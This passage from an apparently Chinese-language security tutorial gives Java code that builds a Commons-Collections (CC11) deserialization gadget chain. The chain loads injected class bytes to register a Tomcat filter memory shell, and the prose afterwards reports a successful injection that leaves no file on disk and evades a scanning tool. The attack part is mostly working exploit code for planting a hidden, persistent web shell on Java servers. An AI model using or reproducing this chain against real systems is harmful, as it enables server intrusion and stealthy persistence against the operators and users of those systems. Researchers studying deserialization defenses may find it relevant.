  34.         InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
  35.         HashMap innermap = new HashMap();
  36.         LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  37.         TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
  38.         HashSet hashset = new HashSet(1);
  39.         hashset.add("foo");
  40.         // 我们要设置 HashSet 的 map 为我们的 HashMap
  41.         Field f = null;
  42.         try {
  43.             f = HashSet.class.getDeclaredField("map");
  44.         } catch (NoSuchFieldException e) {
  45.             f = HashSet.class.getDeclaredField("backingMap");
  46.         }
  47.         f.setAccessible(true);
  48.         HashMap hashset_map = (HashMap) f.get(hashset);
  50.         Field f2 = null;
  51.         try {
  52.             f2 = HashMap.class.getDeclaredField("table");
  53.         } catch (NoSuchFieldException e) {
  54.             f2 = HashMap.class.getDeclaredField("elementData");
  55.         }
  57.         f2.setAccessible(true);
  58.         Object[] array = (Object[])f2.get(hashset_map);
  60.         Object node = array[0];
  61.         if(node == null){
  62.             node = array[1];
  63.         }
  64.         Field keyField = null;
  65.         try{
  66.             keyField = node.getClass().getDeclaredField("key");
  67.         }catch(Exception e){
  68.             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  69.         }
  70.         keyField.setAccessible(true);
  71.         keyField.set(node,tiedmap);
  73.         // 在 invoke 之后，
  74.         Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  75.         f3.setAccessible(true);
  76.         f3.set(transformer,"newTransformer");
  78.         try{
  79. //            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("First.ser"));
  80.             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("Second.ser"));
  81.             outputStream.writeObject(hashset);
  82.             outputStream.close();
  84.         }catch(Exception e){
  85.             e.printStackTrace();
  86.         }
  87.     }
  90.     public static byte[] getBytes() throws IOException {
  91.         //    第一次
  92. //        InputStream inputStream = new FileInputStream(new File("D://Test//TomcatFilterInjectFirst.class"));
  93.         //  第二次
  94.         InputStream inputStream = new FileInputStream(new File("D://Test//TomcatInject.class"));
  96.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  97.         int n = 0;
  98.         while ((n=inputStream.read())!=-1){
  99.             byteArrayOutputStream.write(n);
  100.         }
  101.         byte[] bytes = byteArrayOutputStream.toByteArray();
  102.         return bytes;
  103.     }
  104. }

当然如果使用其他的也是可以的，比如我之前利用的CC11去改造，跟这个差不多的，只是在CC11的链子编写过程不一样而已。

还有就是也可以对要加载的class文件转成字节数组，写在代码中，就像之前用的那样。

不过就不贴代码了，都是代码看着烦。

测试注入效果

如果不想使用postman，那就利用一下传参直接传payload的，然后对字节码处理一下，比如进行base64编码一下了都可以的，当然在反序列化的时候也要先解码。这里因为解决环境问题，有些烦了，不想写了。

这是第一步，也就是上面过程中存入request和response的部分。

🍩结合CC11实现无文件落地内存马注入 - 图17

然后第二步开始动态注册filter进行注入了。

🍩结合CC11实现无文件落地内存马注入 - 图18

最后检验效果

🍩结合CC11实现无文件落地内存马注入 - 图19

注入成功。

对比

这个利用方式的目的就是，实现无文件落地注入filter内存马，现在看查杀表

🍩结合CC11实现无文件落地内存马注入 - 图20

再次查找，在C盘也是找不到文件的。D盘这些是我手动更改的。

🍩结合CC11实现无文件落地内存马注入 - 图21